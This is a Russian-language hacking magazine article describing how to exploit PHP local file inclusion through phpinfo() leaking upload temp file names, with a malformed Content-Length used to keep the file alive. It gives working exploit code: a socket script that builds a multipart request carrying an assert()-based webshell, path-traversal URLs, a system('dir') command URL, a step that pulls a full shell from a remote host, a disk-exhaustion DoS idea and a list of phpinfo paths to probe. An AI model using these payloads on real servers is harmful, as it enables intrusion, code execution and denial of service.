phpinfo[1]Совсем недавно в паблике появилась информация о новом интересном подходе к эксплуатации уязвимостей класса LFI с помощью бесполезной на первый взгляд функции phpinfo() и временных загрузочных файлов. Берем на вооружение этот полезный прием.

Мотивация

Подозреваю, что у тебя часто возникает ситуация, когда ты находишь уязвимость типа local file include, но не имеешь доступа к файлам логов, сессий и т. п.. Или доступ есть, но записать в файлы ничего не получается. Или даже ты уже находишься в админке сайта, но залить ничего и никуда не можешь, потому что кодеры не добавили функционал менеджера файлов. А ведь удаленный пользователь не может эксплуатировать уязвимость типа LFI, пока не внедрит нужный вредоносный код в любой файл на сервере. В итоге ты забиваешь на обнаруженный баг и впоследствии даже не пытаешься его эксплуатировать. Так же ведут себя и админы уязвимых веб-серверов: баг есть, но это же всего-навсего local file inclusion… Вроде бы php.ini настроен более-менее грамотно, так что чего бояться? Оказывается, что бояться все-таки стоит, и еще как! Сегодня я познакомлю тебя с самым красивым способом проведения LFI-атак и надеюсь, что эта статья мотивирует админов на устранение описываемых уязвимостей, а тестеров — на их обнаружение и эксплуатацию.

Эксплойт для выполнения атаки

Предпосылки появления нового способа

До сих пор в хакерском сообществе были известны следующие способы заливки шелла через LFI:

  1. Через медиа-файлы (фото, видео, документы и т. д.). Для реализации этого способа требуется доступ к странице загрузки файлов (возможно, админке или менеджеру файлов).
  2. Через файлы логов (/apache/logs/error.log, /var/log/access_log, /proc/self/environ, /proc/self/cmdline, /proc/self/fd/X и многие другие). Здесь стоит учесть, что чем больше размер логов, тем труднее произвести успешную атаку. В некоторых случаях PHP должен быть запущен в режиме совместимости с CGI или же должна существовать виртуальная файловая система /proc, для доступа к которой необходимы соответствующие права.
  3. Через псевдопротоколы (data:, php://input, php://filter), требующие наличия директивы allow_url_include=On (по умолчанию — Off) и версии PHP >= 5.2.
  4. Через файлы сессий (/tmp/sess_*, /var/lib/php/session/). Естественно, атакующий должен иметь возможность записывать свои данные в сессию.
  5. Через мыло. При этом в уязвимой CMS должна присутствовать возможность отправки писем от www-юзера, а также иметься доступная для чтения директория с отправленными мейлами (к примеру, /var/spool/mail).

Теперь мы можем пополнить этот небольшой список новым способом, который заключается в эксплуатации LFI через временные файлы (/tmp/php*, C:\tmp\php*). Успешное выполнение/воспроизведение атаки с помощью нового способа возможно при следующих условиях:

  • имеется доступ к LFI-уязвимости;
  • имеется доступ к информации phpinfo();
  • веб-сервер крутится под Windows (однако это необязательное условие);
  • версия PHP > 5.2.0.

Примерный алгоритм проведения данной атаки выглядит следующим образом (не пугайся, если что-то не будет ясно сразу — дальше я все подробно объясню):

  1. 1. Отправляем файл с PHP-кодом на php-скрипт с phpinfo(), PHP сохраняет его в временную (tmp) папку.
  2. 2. С помощью все той же функции phpinfo() узнаем место хранения и seed (своего рода идентификатор) отправленного файла.
  3. 3. Затем отправляем еще один специально сформированный пакет (например, с неправильным заголовком Content-Length), вызывая тем самым зависание сервера на несколько секунд или даже минут.
  4. 4. Быстро инклудим свежезалитый tmp-файл через LFI.

Пример успешной заливки и обнаружения шелла в tmp-файле

Локальный инклуд

Для реализации атаки нам обязательно нужен рабочий локальный инклуд. Без него никак не обойтись. Пример того, что нам надо:

http://site.com/css.php?file=style.css
http://site.com/css.php?file=../../(..)/etc/passwd

Собственно, код абстрактного уязвимого скрипта css.php:

<?php
// {..} идет какая-то примитивная проверка,
// {..} которая часто легко обходится
if (!isset($_GET['file']) OR
!file_exists('./tpl/default/'.$_GET['file']))
die('404 Not Found');
// {..} возможно, проводятся еще какие-то проверки
// локальный инклуд файла
include './tpl/default/'.$_GET['file'];
?>

Чтобы узнать путь к папке, где хранятся временные файлы, можно попробовать подключить другой файл, который обязательно должен иметься на сервере. Примеры для *nix и Windows:

http://site.com/css.php?file=../../../../../etc/passwd
http://site.com/css.php?file=../../../../../tmp/
http://site.com/css.php?file=../../../../..\Windows\Temp\
Выполнение произвольного PHP-кода через подключение tmp-файла

Информация из phpinfo()

Далее нам понадобится любой скрипт с выводом phpinfo(). С помощью него мы узнаем конфигурацию сервера, некоторые параметры php.ini и убедимся, что сервер уязвим для описываемой атаки. В данном случае нам нужны следующие параметры:

  1. upload_tmp_dir — временная папка, в которой PHP сохраняет временные файлы. Если она пустая (NULL), то файлы будут заливаться в Environment.TEMP.
  2. file_uploads — эта опция разрешает отправлять файлы и временно помещать их в upload_tmp_dir (для успешной атаки опция должна находиться в состоянии On).
  3. upload_max_filesize — максимальный объем загружаемых файлов. Он не должен быть слишком маленьким (минимальный составляет 10 Кб), по умолчанию указан объем 2 Мб.
  4. max_execution_time — максимальное время выполнения скрипта. По дефолту стоит 0, это значит, что скрипт будет выполняться до тех пор, пока не выполнится. 🙂
  5. session.serialize_handler — сериализатор сессий. По дефолту — php (это часть имени будущего временного файла).

Еще одна полезность заключается в том, что phpinfo() отображает в шапке версию PHP, например, PHP Version 5.3.8.

Пример успешной заливки и обнаружения шелла в tmp-файле Заливка постоянного шелла через временный

PHP и $_FILES

Поэтапно процесс отправки файлов выглядит примерно так (согласно RFC1867):

  1. После установки соединения начинается передача данных.
  2. После получения заголовков веб-сервер подгружает движок PHP.
  3. PHP создает временный tmp-файл и наполняет его данными.
  4. Передача данных заканчивается.
  5. Исполняется PHP-код скрипта.
  6. PHP отправляет вывод скрипта веб-серверу.
  7. PHP делает cleanup (удаляет временные файлы) и завершает работу.
  8. Веб-сервер отсылает вывод скрипта юзеру, отправившему файлы.

На этапах 3, 4, 5, 6, 7 временный tmp-файл еще существует, а на определенной стадии этапа 8 удаляется. Любой PHP-скрипт может работать с загружаемыми файлами через глобальный массив $_FILES, а затем копировать их из временной папки в любое другое место с помощью функции move_uploaded_file().

Здесь важно то, что PHP всегда копирует любые заливаемые файлы во временную папку, указанную в конфиге, даже если скрипт с ними работать не собирается. Когда скрипт завершает свое выполнение, PHP удаляет все ранее созданные временные файлы, то есть делает cleanup. Так как мы можем посылать скрипту абсолютно любые файлы, то, соответственно, во временном файле будет записан именно тот код, который и понадобится нам для локального инклуда.

Кстати, если в PHP-скрипте используется буферизация вывода (функции ob_* – flush, ob_start, ob_flush и другие), то действия, описанные в пунктах 8 и 9, выполняются в обратном порядке. В таком случае вполне возможно написать эксплойт, который на низком уровне будет саботировать получение последнего пакета с данными. То есть сначала он получит содержимое phpinfo(), затем спарсит с помощью вывода этой функции путь к tmp-файлу и, не дожидаясь конца ответа от сервера, проинклудит его через LFI быстрее, чем PHP сделает cleanup. Если же буферизации вывода нет, то мы не успеем подключить временный файл, он уже будет удален. Но что если попробовать сделать так, чтобы PHP не удалял временный файл?

Функция phpinfo() раскрывает глобальные переменные

Алгоритм обмана PHP

Итак, суть нового способа заключается в подключении через LFI временного файла, создаваемого PHP. «Но PHP ведь удаляет временный файл!» — наверное, скажешь ты. Да, верно. Пока неизвестно, как сделать так, чтобы этого не происходило. Но зато вполне известно, как продлить этому файлу жизнь. Для этого нужно сформировать специальный пакет со следующими свойствами:

  • Content-Length должен быть неверным (на несколько Кб больше или меньше реального);
  • заголовок данных не должен закрываться (например, “————8WvJNM”).

Таким образом, мы получим следующую ситуацию:

  1. Пакет обрывается.
  2. Сокет ждет недостающие данные (в это время соединение открыто).
  3. Сокет отваливается, полученный временный файл существует еще некоторое время.

При этом размер временного файла должен быть больше 2 Кб, иначе PHP просто не начнет писать данные в соответствующую директорию.

Как ты уже, надеюсь, понял, сервер «зависнет» на достаточно долгое время, которого должно хватить для того, чтобы проинклудить временный файл и залить с его помощью долгожданный шелл.

 

В поисках tmp-файла

Следующая проблема состоит в том, что нам неизвестно имя временного файла. Как раз для ее решения нам и нужен скрипт с phpinfo() внутри. Если не удается найти его вручную по дефолтным именам (phpinfo.php, info.php, i.php и т. д.), тогда можно воспользоваться скриптами от Grey и eLwaux для автоматического поиска (ищи их на нашем диске).

Предположим, что мы нашли нужный нам скрипт. Идем дальше. В разделе PHP Variables функция phpinfo() отображает все передаваемые пользователем глобальные переменные: _GET, _POST и _FILES. Старые версии PHP (<=5.1) в phpinfo() не раскрывают содержимое массива _FILES, просто указывая тип Array. В этом случае придется подбирать (брутить) имя временного файла.

Чтобы проверить, раскрывает ли phpinfo() нужный нам массив, ты можешь отправить файл вручную через простую HTML-форму, а затем проверить раздел PHP Variables:

<form action="http://site.com/phpinfo.php"
enctype="multipart/form-data" method="POST">
<input type="file" name="aa" />
<input type="submit" />
</form>

Самый простой элементарный такой проверки — выполнить простой GET-запрос к соответствующему скрипту: http://site.com/phpinfo.php?a[]=111. PHP должен отобразить содержимое массива _FILES или _GET (аналогично тому, как это происходит при выполнении функции var_dump). Если массив раскрыт, значит, ты сможешь без проблем узнать имя tmp-файла. За путь к tmp-папке отвечает параметр upload_tmp_dir в php.ini. По дефолту путь в *nix-системах — /tmp, в винде — C:\Windows\Temp. В 99 % случаев у PHP есть право чтения файлов оттуда. Согласно документации (bit.ly/raWpwS), в Windows имя временного файла, который PHP рандомно генерирует с помощью функции GetTempFileName, должно иметь вот такой вид:

path>\<pre><uuuu>.TMP
---
<path> = C:\Windows\Temp (или значение upload_tmp_dir с php.ini),
<pre> = php (session.serialize_handler),
<uuuu> = уникальное шестнадцатеричное число.

Интересно, что в Windows каждое последующее больше предыдущего ровно на единицу, например:

php1A3E.tmp
php1A3F.tmp
php1A40.tmp

В *nix имя для временного файла генерируется с помощью функции mkstemp (linux.die.net/man/3/mkstemp):

<path>/<pre><rand>
<path> = /tmp,
<pre> = php (session.serialize_handler),
<rand> = (seed += XXX ^ PID)
XXX в зависимости от скомпилированной библиотеки glibc может равняться:
- XXX = time()
- XXX = gettimeofday().sec << 32 | gettimeofday().usec
- XXX = rdtsc

То есть имя, которое всегда будет случайным и непредсказуемым, должно иметь следующий вид: /tmp/phpXXXXXX, где XXXXXX — это рандомные шесть символов из диапазона [A-Za-z0-9]:

/tmp/php6Dekf9
/tmp/phpK1uuk5
/tmp/phpdnJ82

Как видно из примеров выше, по сравнению с *nix в Windows проще узнать имя временного файла. Также стоит отметить, что временный файл существует только (!) во время выполнения скрипта.

Сценарий атаки в Windows

Если ты усвоил все написанное выше, предлагаю тебе рассмотреть общий алгоритм нашей атаки для винды:

  1. Передаем любой файл на phpinfo().
  2. Получаем ответ от севера, в phpinfo() смотрим значение _FILES[tmp_name] и таким образом узнаем путь к временному файлу.
  3. Отправляем на phpinfo() запрос с кодом шелла: <?php
    assert(stripslashes($_REQUEST["e"]));
    ?>
    и запросом, в котором размер Content-Length превышает реальный размер запроса. В результате сервер должен на некоторое время зависнуть.
  4. Пока сервер висит и думает о жизни, мы пытаемся найти временный файл, добавляя к полученному имени (см. шаг 1) единицу (поиск осуществляется посредством подстановки пути к файлу в LFI).
  5. Как только нам удается обнаружить tmp-файл, заливаем полноценный шелл с помощью нашего ядовитого кода.
  6. 6. Закрываем соединение, установленное на шаге 2, сервер удаляет временный файл.

Таким образом, при наличии phpinfo() в win-серваке заливание шелла сводится к отправке двух файлов. Если phpinfo() отсутствует, имя временного файла можно теоретически сбрутить. Всего на Windows-сервере будет около 61440 возможных вариантов.

Как работает PHP, когда юзер отправляет файл

Сценарий атаки в никсах

Сценарий атаки на *nix-системах будет выглядеть примерно так:

  1. Отправляем на скрипт с phpinfo() HTTP-пакет c ядовитым PHP-кодом в файле.
  2. Ограничивая трафик за счет использования прокси-сервера или с помощью какой-либо утилиты (например, BWMeter), урезаем лимит на прием входящих данных до нескольких десятков байт.
  3. Ждем, когда скрипт возвратит нам вывод phpinfo().
  4. Самое главное! Параметр [tmp_name] выводится где-то в последних строчках (а как только сокет закроется, временный файл будет удален), поэтому мы должны сграбить/скопипастить имя и отправить его на инклуд немедленно.

Однако если после вызова phpinfo() идет еще какой-то код, то чем дольше этот код выполняется, тем больше у нас шансов успеть получить имя временного файла до его автоматического удаления. Мы можем локально подключить phpinfo.php через имеющийся инклуд, а так как после инклуда есть еще код, то мы получаем бонусное время задержки, которого при удачном раскладе вполне может хватить:

http://site.com/css.php?file=../../htdocs/public_html/phpinfo.php

Отправив на такой URL POST-пакет с файлом, содержащим PHP-код, построчно считываем ответ. Получив имя временного файла, тянем время, не разрывая коннект, и параллельно инклудим загруженный временный файл с PHP-кодом.

Кстати, в случае если скрипт с phpinfo() недоступен, нам придется угадать или пробрутить имя временного файла. Поскольку придется перебрать 1000000*36 вариантов, то процесс поиска затянется надолго.

Практика

Теперь настало время перейти к практике. Итак, пусть на нашем тестовом серваке стоят Microsoft-IIS/7.5 и PHP/5.3.8. Возьмем с одного реального Windows-сервера файл css.php с уязвимостью типа LFI:

<?php
$file = './uploads/'.$_GET['f'];
if ( file_exists($file) )
{
include $file;
die;
}
die('File not found!');
?>

На этом же сервере админ забыл удалить нужный нам файл phpinfo.php:

<?php
phpinfo();
?>

Код, который мы будем внедрять в tmp-файл:

<?php
assert(stripslashes($_REQUEST["e"]));
?>

С помощью PHP-сценария формируем POST-пакет для отправки файла с PHP-кодом:

// Evil
$file="-----------------------------XaXbXaXbXaXbXa\r\n";
$file.="Content-Disposition: form-data; name=file".rand(0,100).";
filename=\r\nfile".rand(0,100).".txt\r\n";
$file.="Content-Type: text/plain\r\n\r\n";
$file.="<?php assert(stripslashes(\$_REQUEST[\"e\"]));?>\r\n";
$file.="-----------------------------XaXbXaXbXaXbXa\r\n";
$post = $file;
$req ="POST ".$target." HTTP/1.0\r\n";
$req.="Host: ".$host."\r\n";
$req.="Content-Type: multipart/form-data;
boundary=---------------------------XaXbXaXbXaXbXa\r\n";
$req.="Content-Length: ".strlen($post)."\r\n";
$req.="Connection: Close\r\n\r\n";
$req.= $post;

И отправляем его вот так:

$tmp = '';
$html = '';
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($sock, $host, 80);
socket_write($sock, $req);
while ($out = socket_read($sock, 65536))
{
$html .= $out;
if(preg_match_all('#=>(.*)#',$html,$r) && !empty($r[0][2]))
{
$tmp = str_replace(array("=>",' '), '', $r[0][2]);
}
}

socket_close($sock);

В переменной $html мы получаем ответ от phpinfo, а в $tmp — путь к tmp-файлу. Далее достаем из пути значение :

$tmp_hex = $tmp;
if(strpos($tmp_hex,':'))
{
$path = explode(':',$tmp_hex);
$tmp_hex = $path[1];
}
$tmp_hex = ($tmp_hex && preg_match('#php(.*)\.tmp#',$tmp_hex,$rd))
? $rd[1] : '';

В $tmp_hex будет содержаться текущий seed временного файла.

Следующий этап — вызвать зависание сервера. Для этого обрезаем тело запроса на два символа. В результате заголовок Content-Length станет неверным (будет больше, чем нужно):

$req = substr($req,0,strlen($req)-2);
retname($host,$req);

Отправляем все это непотребство и пробуем получить ответ. Хотя ответ мы вряд ли получим, скрипт останавливать не нужно. Далее к $tmp_hex прибавляем +1 и пробуем подключить его через LFI. Не получается? Возможно, ты наткнулся на подводный камень. Имя генерит винда, а не PHP, поэтому, если какая-нибудь запущенная на сервере прога хочет создать временный файл, она также прибавляет единицу в каждом имени. В целом это не проблема. Просто надо попробовать прибавить +2, +3 и т. д. На диске, прилагаемом к журналу, ты найдешь специальный скрипт, который сам пробует найти tmp-файл, постепенно прибавляя числа от 1 до 100.

После заливки

После обнаружения нужного файла и его успешного инклуда через LFI ты можешь выполнять команды на сервере. У тебя есть мини-шелл:

http://site.com/css.php?file=../../../tmp/php7xEkH3&e=system('dir')

Для заливки полноценного шелла путем копирования с другого ресурса ты можешь воспользоваться следующей командой:

php expl.php step4 ../../../tmp/php7xEkH3.tmp http://site.com/s.txt

here your shell: http://site.com/8149.php

Здесь скрипт expl.php — это конкретный пример реализации описанной атаки, который также можно найти на нашем диске.

Подведение итогов

Теоретически описанный способ атаки подходит для большого количества движков, имеющих в наличии локальный инклуд и вывод phpinfo() в админке. Например, для того же PHP Live, где при magic_quotes=on или без доступа к директории ./super невозможно загрузить шелл. На Windows-машинах способ всегда работает успешно, для nix*-машин приходится использовать BWMeter или другие аналоги. Напоследок хочу сказать, что подобные нарушения пространственно-временного континуума во вселенной PHP наверняка окажутся полезными для реализации каких-то новых уязвимостей. А они точно существуют, остается лишь найти их.

Мониторинг создания временных файлов в Windows через ProcMon

Информационная функция PHP

Функция phpinfo() выводит на экран большое количество информации о текущем статусе PHP. Сюда входят сведения об опциях компиляции PHP, о расширениях, версии PHP, версии ОС, пути, переменных опций конфигурации, данные сервера и окружения (если скомпилирован как модуль), шапки HTTP и PHP License.

DoS на базе LFI + phpinfo()

Когда мы отправляли данные в _FILES, они записывались в файл, занимая место на диске. При этом мы отправляли всего пару килобайт. А что будет, если отправить много-много мегабайт? И сразу много файлов? Это может привести к серьезным проблемам в работе сервера. Атакующий способен исчерпать его дисковое пространство. Допустим, что по умолчанию каждый бот абстрактного ботнета может на каждом подключении занимать до 30 Мб дискового пространства в течение всего времени, пока посылается запрос, загружается файл и принимается ответ. Время отсылки и приема может быть умышленно растянуто, чтобы максимально долго использовать свободное место. По времени одно подключение в среднем длится примерно две минуты (одна минута на запрос + одна минута на ответ). Даже малочисленный ботнет способен эффективно подавлять сервер с минимальным количеством и скоростью подключений. Более того, как раз медленный канал бота будет куда более губительным для атакуемого сервера. Выводы делай сам. В настоящий момент единственный способ противостоять такой DoS-атаке — отключить директиву file_upload в php.ini.

LFI

Local File Include (LFI) — уязвимость, которая позволяет удаленному пользователю получить доступ к нужной информации с помощью специально сформированного запроса к произвольным файлам. Грубо говоря, LFI представляет собой подключение любого файла на сервере к вызываемому файлу. Что делит LFI на две ветки: выполнение содержимого подключаемого файла и чтение содержимого подключаемого файла. Уязвимости класса LFI чаще всего встречается в различных менеджерах файлов.

Что еще можно выжать из phpinfo()

Результатом выполнения PHP-функции phpinfo() является куча информации, большая часть которой не имеет значения. Однако на некоторые моменты все же стоит обратить внимание, так как они могут облегчить процесс поиска уязвимых мест в системе. Итак, перечислим потенциально полезную информацию, предоставляемую phpinfo():

  1. информация о сервере, версия/конфигурация PHP, ОС;
  2. document_root — директория, из которой выполняется текущий скрипт;
  3. error_log — логи ошибок (можно задействовать при LFI);
  4. safe_mode (default OFF) — безопасный режим;
  5. open_basedir (default empty) — ограничивает список файлов, которые могут быть открыты через PHP;
  6. allow_url_fopen (default ON) — разрешает доступ к URL на уровне файлов;
  7. allow_url_include (default OFF) — удаленное подключение файлов;
  8. magic_quotes_gpc (default OFF) — автоматическое экранирование входящих данных;
  9. register_globals (default OFF) — глобальные переменные;
  10. disable_functions (default empty) — отключает использование определенных функций;
  11. max_execution_time (default 0) — максимальное время работы скрипта;
  12. display_errors (default OFF) — отображение ошибок;
  13. upload_tmp_dir — путь к tmp-директории.
  14. подключенные модули (curl, sockets, zip и т. д.);
  15. содержимое всех глобальных переменных _GET, _POST, _COOKIE, _FILES, _SERVER.

Наиболее часто используемые пути к phpinfo()

./phpinfo.php
./info.php
./php.php
./i.php
./pi.php
./temp.php
./test.php
./test1.php
./123.php
./asd.php
./111.php
Ч

By Ruslan Novikov

Интернет-предприниматель. Фулстек разработчик. Маркетолог. Наставник.